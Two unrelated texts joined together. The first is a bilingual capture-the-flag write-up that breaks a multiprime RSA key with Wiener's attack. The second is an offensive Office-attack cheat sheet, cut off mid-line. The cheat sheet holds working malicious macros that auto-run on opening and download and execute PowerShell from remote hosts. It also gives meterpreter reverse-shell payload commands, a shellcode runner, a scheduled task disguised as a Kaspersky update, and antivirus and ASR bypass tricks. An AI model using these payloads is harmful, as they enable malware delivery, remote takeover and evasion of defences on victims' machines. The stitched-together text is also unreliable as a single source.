# MPRSA (crypto) ## ENG [PL](#pl-version) In the task we get [RSA public key components](public.txt), [encrypted flag](data.enc) and [source code](mprsa.py) used for encryption. The code contains a classic multiprime RSA implementation, with an interesting key generation code: ```python def key_gen(self, bits, prime_numbers=4): delta = randint(5, 15) bit_prime = int(bits // prime_numbers) P = [next_prime(number.getPrime(bit_prime) + 1)] for i in range(1, prime_numbers): P.append(next_prime(P[i - 1] * delta)) n = self.__compute_module(P) phi = self.__compute_phi(P) for d_next in count(int(pow(P[0] // 2, 0.5)), -1): g, e, __ = gcdext(d_next, phi) if (1 < e < n) and (g == 1) and (gcd(phi, e) == 1): d = d_next break self.public_key = (e, n) self.secret_key = (d, n) ``` The initiall issue we noticed with this code, is that modulus `n` is composed of strongly non-random primes, since `.next_prime` is deterministic and `delta` multiplier is very small. We've seen some writeups for this task which attacked this vector. Nevertheless, we have a bit of experience already with attacks on RSA and we've noticed one other interesting fact here: ```python for d_next in count(int(pow(P[0] // 2, 0.5)), -1): ``` Private key exponents starts from `sqrt(p1/2)` and we know that p1 is the smallest of the primes in `n` and they are of similar size, therefore `p1` is smaller than `n^(1/4)`. And we know that if `d < 1/3 n^(1/4)` then we can use Wiener's attack to recover the private exponent. It's clear that we are lucky and we can recover the key with a bit of sage: ```python e = 2968282037100353640375137899109790499983904510372252123726372200136866453960017151334469454219618530252326391316368089337062513360207381202191915473462935477137523455963250056561696664667826520897145326882242932509636924316993816382503962649302107865422204292490659961123103322081852240437978613121365781016988448211321349469941008479597808471102164820173139919110860676464533506147455712945961147297193425603466185665772219928497258618754492859488589873906043003885893571962433509510568617898956135134801893952671289895841202079907023382879176353447845431980339763701845065932967492613174149948295178658632744337984598033199716909609691917091599333032421515584590767434316739374277008976624091929263313294017958203501962609986428734553144207841375915976037349385525685765751825435583700725710652618107250634373424713513298201017768173878869803169781015337283490319756398578109078482368725206020186761161884650413182297877151106135232838271785994275915310662858329477083914589917431343036266926436535406078268574331773960697696088892795445640924833807153106889785640164637689271399503064510417142492169690916011945805675154490404590528925067599406358567902459063109040410209462273031696409389388590120586013927889551821936657759836121166591 n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057 c_fracs = continued_fraction(e/n).convergents() test_message = 42 test_message_encrypted = pow(test_message,e,n) d = 0 for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() break print(d) ``` And with `d` we can simply decode the flag: ```python from crypto_commons.generic import long_to_bytes def main(): n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057 d = 9427062506559859200764441560060897853452091503537282553799991491531587159716894888858396729480853980609608783434755632459538177527336880678476984732352511 ct = 4990981759460304744105598767593686181405870005282225829795794541021226151966053079510943795109726609634828370167775307839662644021918767556530119412853816585221569546843939870445288438295880322602517246037112564416212745954141726471664361647045729235670622890953655065235230427298013906810014221648290750692583336186843003229107021202513937560627163229698907224982160099413064560450430189221548918249561722797270239205285019947483419790983776163671611001827036804081081707549809205146146016914228431689911951835061650007130105435596899572248580145216361550470379538250892374083206633208114199207657470199269462010122511529769658733474277302308656490658251694852119519651331026206905848184310474442594518003923697214854504891077728222935182875777284193900483103844390422979429620136337089544700764854729601666550485708645758202313582038929079609869996469534041940940326632417337431671554125949585769777514656385405640728690453834779703498214246941789126527089991023766694976273980553865664242840580534044580685023115108182135139502041838131616984809782973256326815445038141870218251128685050551152554710812132312358766591390023888015234480632150114384947814031965110524912964541892010650475016456100706107619225121444952046171313017830946278 print(long_to_bytes(pow(ct, d, n))) main() ``` And we get: ``` Mr.D (12:10): Okey, see you later ;) Mr.D (19:30): So can you help me? Anonymous (19:31): Yeah, we will have 10,000 falsified voters. Transfer 100000$ to my bank account: ctfzone{3177809746931830} ``` ## PL version W zadaniu dostajemy [klucz publiczny RSA](public.txt), [zaszyfrowaną flagę](data.enc) oraz [kod szyfrowania](mprsa.py) wykorzystany do szyfrowania danych. Kod zawira klasyczną implementacje RSA opartego o wiele liczb pierwszych, z dość ciekawą logiką generacji klucza: ```python def key_gen(self, bits, prime_numbers=4): delta = randint(5, 15) bit_prime = int(bits // prime_numbers) P = [next_prime(number.getPrime(bit_prime) + 1)] for i in range(1, prime_numbers): P.append(next_prime(P[i - 1] * delta)) n = self.__compute_module(P) phi = self.__compute_phi(P) for d_next in count(int(pow(P[0] // 2, 0.5)), -1): g, e, __ = gcdext(d_next, phi) if (1 < e < n) and (g == 1) and (gcd(phi, e) == 1): d = d_next break self.public_key = (e, n) self.secret_key = (d, n) ``` Pierwszą podatnością, którą zauważyliśmy w tym kodzie był sposób wyliczania modulusa `n`, który składa się z mocno nie-losowych liczb pierwszych, bo `.next_prime` jest deterministyczne a `delta` jest dość niewielka. Widzieliśmy writeupy które atakowały zadanie zgodnie z tym wektorem. Niemniej mamy już trochę doświadczenia z atakami na RSA i zauważyliśmy inną ciekawostkę w kodzie: ```python for d_next in count(int(pow(P[0] // 2, 0.5)), -1): ``` Prywatny wykładnik szyfrujący zaczyna się od `sqrt(p1/2)` a wiemy że p1 jest najmniejszym czynnikiem pierwszym w `n` i że czynniki są zbliżonego rozmiaru, więc `p1` musi być mniejsze od `n^(1/4)`. Wiemy też że jeśli `d < 1/3 n^(1/4)` to możemy użyć ataku Wienera aby odzyskać prywatny wykładnik szyfrujący. Jak widać mamy szczęście i możemy użyc prostego skryptu sage: ```python e = 2968282037100353640375137899109790499983904510372252123726372200136866453960017151334469454219618530252326391316368089337062513360207381202191915473462935477137523455963250056561696664667826520897145326882242932509636924316993816382503962649302107865422204292490659961123103322081852240437978613121365781016988448211321349469941008479597808471102164820173139919110860676464533506147455712945961147297193425603466185665772219928497258618754492859488589873906043003885893571962433509510568617898956135134801893952671289895841202079907023382879176353447845431980339763701845065932967492613174149948295178658632744337984598033199716909609691917091599333032421515584590767434316739374277008976624091929263313294017958203501962609986428734553144207841375915976037349385525685765751825435583700725710652618107250634373424713513298201017768173878869803169781015337283490319756398578109078482368725206020186761161884650413182297877151106135232838271785994275915310662858329477083914589917431343036266926436535406078268574331773960697696088892795445640924833807153106889785640164637689271399503064510417142492169690916011945805675154490404590528925067599406358567902459063109040410209462273031696409389388590120586013927889551821936657759836121166591 n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057 c_fracs = continued_fraction(e/n).convergents() test_message = 42 test_message_encrypted = pow(test_message,e,n) d = 0 for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() break print(d) ``` I teraz mając już `d` możemy odszyfrować dane: ```python from crypto_commons.generic import long_to_bytes def main(): n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057 d = 9427062506559859200764441560060897853452091503537282553799991491531587159716894888858396729480853980609608783434755632459538177527336880678476984732352511 ct = 4990981759460304744105598767593686181405870005282225829795794541021226151966053079510943795109726609634828370167775307839662644021918767556530119412853816585221569546843939870445288438295880322602517246037112564416212745954141726471664361647045729235670622890953655065235230427298013906810014221648290750692583336186843003229107021202513937560627163229698907224982160099413064560450430189221548918249561722797270239205285019947483419790983776163671611001827036804081081707549809205146146016914228431689911951835061650007130105435596899572248580145216361550470379538250892374083206633208114199207657470199269462010122511529769658733474277302308656490658251694852119519651331026206905848184310474442594518003923697214854504891077728222935182875777284193900483103844390422979429620136337089544700764854729601666550485708645758202313582038929079609869996469534041940940326632417337431671554125949585769777514656385405640728690453834779703498214246941789126527089991023766694976273980553865664242840580534044580685023115108182135139502041838131616984809782973256326815445038141870218251128685050551152554710812132312358766591390023888015234480632150114384947814031965110524912964541892010650475016456100706107619225121444952046171313017830946278 print(long_to_bytes(pow(ct, d, n))) main() ``` I dostajemy: ``` Mr.D (12:10): Okey, see you later ;) Mr.D (19:30): So can you help me? Anonymous (19:31): Yeah, we will have 10,000 falsified voters. Transfer 100000$ to my bank account: ctfzone{3177809746931830} ```
sec-knowleage
# Office - Attacks ### Summary * [Office Products Features](#office-products-features) * [Office Default Passwords](#office-default-passwords) * [Office Macro execute WinAPI](#office-macro-execute-winapi) * [Excel](#excel) * [XLSM - Hot Manchego](#xlsm---hot-manchego) * [XLS - Macrome](#xls---macrome) * [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter) * [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut) * [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec) * [SLK - EXEC](#slk---exec) * [Word](#word) * [DOCM - Metasploit](#docm---metasploit) * [DOCM - Download and Execute](#docm---download-and-execute) * [DOCM - Macro Creator](#docm---macro-creator) * [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro) * [DOCM - VBA Wscript](#docm---vba-wscript) * [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment) * [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task) * [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions) * [DOCM - winmgmts](#docm---winmgmts) * [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde) * [DOCM - BadAssMacros](#docm---badassmacros) * [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module) * [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec) * [VBA Obfuscation](#vba-obfuscation) * [VBA Purging](#vba-purging) * [OfficePurge](#officepurge) * [EvilClippy](#evilclippy) * [VBA AMSI](#vba-amsi) * [VBA - Offensive Security Template](#vba---offensive-security-template) * [DOCX - Template Injection](#docx---template-injection) * [DOCX - DDE](#docx---dde) * [References](#references) ## Office Products Features ## Office Default Passwords By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set. > If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5) | Product | Password | Supported Formats | |------------|------------------|-------------------| | Excel | VelvetSweatshop | all Excel formats | | PowerPoint | 01Hannes Ruescher/01 | .pps .ppt | ## Office Macro execute WinAPI ### Description To importe Win32 function we need to use the keyword `Private Declare` `Private Declare Function <NAME> Lib "<DLL_NAME>" Alias "<FUNCTION_IMPORTED>" (<ByVal/ByRef> <NAME_VAR> As <TYPE>, etc.) As <TYPE>` If we work on 64bit, we need to add the keyword `PtrSafe` between the keywords `Declare` and `Function` Importing the `GetUserNameA` from `advapi32.dll`: ```VBA Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long ``` `GetUserNameA` prototype in C: ```C BOOL GetUserNameA( LPSTR lpBuffer, LPDWORD pcbBuffer ); ``` ### Example with a simple Shellcode Runner ```VBA Private Declare PtrSafe Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr Private Declare PtrSafe Function CreateThread Lib "KERNEL32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr Sub WinAPI() Dim buf As Variant Dim addr As LongPtr Dim counter As Long Dim data As Long buf = Array(252, ...) addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) For counter = LBound(buf) To UBound(buf) data = buf(counter) res = RtlMoveMemory(addr + counter, data, 1) Next counter res = CreateThread(0, 0, addr, 0, 0, 0) End Sub ``` ## Excel ### XLSM - Hot Manchego > When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine. * https://github.com/FortyNorthSecurity/hot-manchego ```ps1 Generate CS Macro and save it to Windows as vba.txt PS> New-Item blank.xlsm PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt ``` ### XLM - Macrome > XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros. * https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip * https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip * https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip ```ps1 # NOTE: The payload cannot contains NULL bytes. # Default calc msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin # Custom shellcode msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00' msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00' # MSF shellcode msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin # For VBA Macro Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop ``` When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003. ### XLM Excel 4.0 - SharpShooter * https://github.com/mdsecactivebreach/SharpShooter ```powershell # Options -rawscfile <path> Path to raw shellcode file for stageless payloads --scfile <path> Path to shellcode file as CSharp byte array python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test # Creation of a VBA Macro # creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet. SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl # Creation of an Excel 4.0 SLK Macro Enabled Document ~# /!\ The shellcode cannot contain null bytes msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00' SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00' SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee ``` ### XLM Excel 4.0 - EXCELntDonut * XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files. * AMSI has no visibility into XLM macros (for now) * Anti-virus struggles with XLM (for now) * XLM macros can access the Win32 API (virtualalloc, createthread, ...) 1. Open an Excel Workbook. 2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro". 3. Open your EXCELntDonut output file in a text editor and copy everything. 4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet. 5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab. 6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished". 7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works. 8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works. :warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1 ```ps1 git clone https://github.com/FortyNorthSecurity/EXCELntDonut -f path to file containing your C# source code (exe or dll) -c ClassName where method that you want to call lives (dll) -m Method containing your executable payload (dll) -r References needed to compile your C# code (ex: -r 'System.Management') -o output filename --sandbox Perform basic sandbox checks. --obfuscate Perform basic macro obfuscation. # Fork git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate] python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin ``` XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md ### XLM Excel 4.0 - EXEC 1. Right Click to the current sheet 2. Insert a **Macro IntL MS Excel 4.0** 3. Add the `EXEC` macro ```powershell =EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')") =halt() ``` 4. Rename cell to **Auto_open** 5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide** ### SLK - EXEC ```ps1 ID;P O;E NN;NAuto_open;ER101C1;KOut Flank;F C;X1;Y101;K0;EEXEC("c:\shell.cmd") C;X1;Y102;K0;EHALT() E ``` ## Word ### DOCM - Metasploit ```ps1 use exploit/multi/fileformat/office_word_macro set payload windows/meterpreter/reverse_http set LHOST 10.10.10.10 set LPORT 80 set DisablePayloadHandler True set PrependMigrate True set FILENAME Financial2021.docm exploit -j ``` ### DOCM - Download and Execute > Detected by Defender (AMSI) ```ps1 Sub Execute() Dim payload payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');" Call Shell(payload, vbHide) End Sub Sub Document_Open() Execute End Sub ``` ### DOCM - Macro Creator * https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator ```ps1 # Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion: C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body # Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion: C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o # Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion: C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e ``` ### DOCM - C# converted to Office VBA macro > A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. https://github.com/trustedsec/unicorn ```ps1 python unicorn.py payload.cs cs macro ``` ### DOCM - VBA Wscript > https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office ```ps1 Sub parent_change() Dim objOL Set objOL = CreateObject("Outlook.Application") Set shellObj = objOL.CreateObject("Wscript.Shell") shellObj.Run("notepad.exe") End Sub Sub AutoOpen() parent_change End Sub Sub Auto_Open() parent_change End Sub ``` ```vb CreateObject("WScript.Shell").Run "calc.exe" CreateObject("WScript.Shell").Exec "notepad.exe" ``` ### DOCM - VBA Shell Execute Comment Set your command payload inside the **Comment** metadata of the document. ```vb Sub beautifulcomment() Dim p As DocumentProperty For Each p In ActiveDocument.BuiltInDocumentProperties If p.Name = "Comments" Then Shell (p.Value) End If Next End Sub Sub AutoExec() beautifulcomment End Sub Sub AutoOpen() beautifulcomment End Sub ``` ### DOCM - VBA Spawning via svchost.exe using Scheduled Task ```ps1 Sub AutoOpen() Set service = CreateObject("Schedule.Service") Call service.Connect Dim td: Set td = service.NewTask(0) td.RegistrationInfo.Author = "Kaspersky Corporation" td.settings.StartWhenAvailable = True td.settings.Hidden = False Dim triggers: Set triggers = td.triggers Dim trigger: Set trigger = triggers.Create(1) Dim startTime: ts = DateAdd("s", 30, Now) startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2) trigger.StartBoundary = startTime trigger.ID = "TimeTriggerId" Dim Action: Set Action = td.Actions.Create(0) Action.Path = "C:\Windows\System32\powershell.exe" Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))" Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3) End Sub Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))" ``` ### DOCM - WMI COM functions Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)` ```ps1 Sub wmi_exec() strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartUp = objWMIService.Get("Win32_ProcessStartup") Set objProc = objWMIService.Get("Win32_Process") Set procStartConfig = objStartUp.SpawnInstance_ procStartConfig.ShowWindow = 1 objProc.Create "powershell.exe", Null, procStartConfig, intProcessID End Sub ``` * https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3 * https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2 ```ps1 Sub ASR_bypass_create_child_process_rule5() Const HIDDEN_WINDOW = 0 strComputer = "." Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2") Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process") objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID End Sub Sub AutoExec() ASR_bypass_create_child_process_rule5 End Sub Sub AutoOpen() ASR_bypass_create_child_process_rule5 End Sub ``` ```ps1 Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" Set SW = GetObject("new:" & ShellWindows).Item() SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0 ``` ### DOCM/XLM - Macro Pack - Macro and DDE > Only the community version is available online. * [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe) ```powershell # Options -G, --generate=OUTPUT_FILE_PATH. Generates a file. -t, --template=TEMPLATE_NAME Use code template already included in MacroPack -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) # Execute a command echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl # Download and execute a file echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls # Meterpreter reverse TCP template using MacroMeter by Cn33liz echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm # Drop and execute embedded file macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs # Obfuscate the vba file generated by msfvenom and put result in a new vba file. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba # Obfuscate Empire stager vba file and generate a MS Word document: macro_pack.exe -f empire.vba -o -G myDoc.docm # Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe) echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm" # Execute calc.exe via Dynamic Data Exchange (DDE) attack echo calc.exe | macro_pack.exe --dde -G calc.xslx # Download and execute file via powershell using Dynamic Data Exchange (DDE) attack macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl # PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm # PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses. msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm # PRO: Generate an HTA payload able to run a shellcode via Excel injection echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk # PRO: XLM Injection echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel # PRO: ShellCode Exec - Heap Injection, AlternativeInjection echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc # PRO: More shellcodes echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm –keep-alive echo "x86.bin" "x64.bin" | 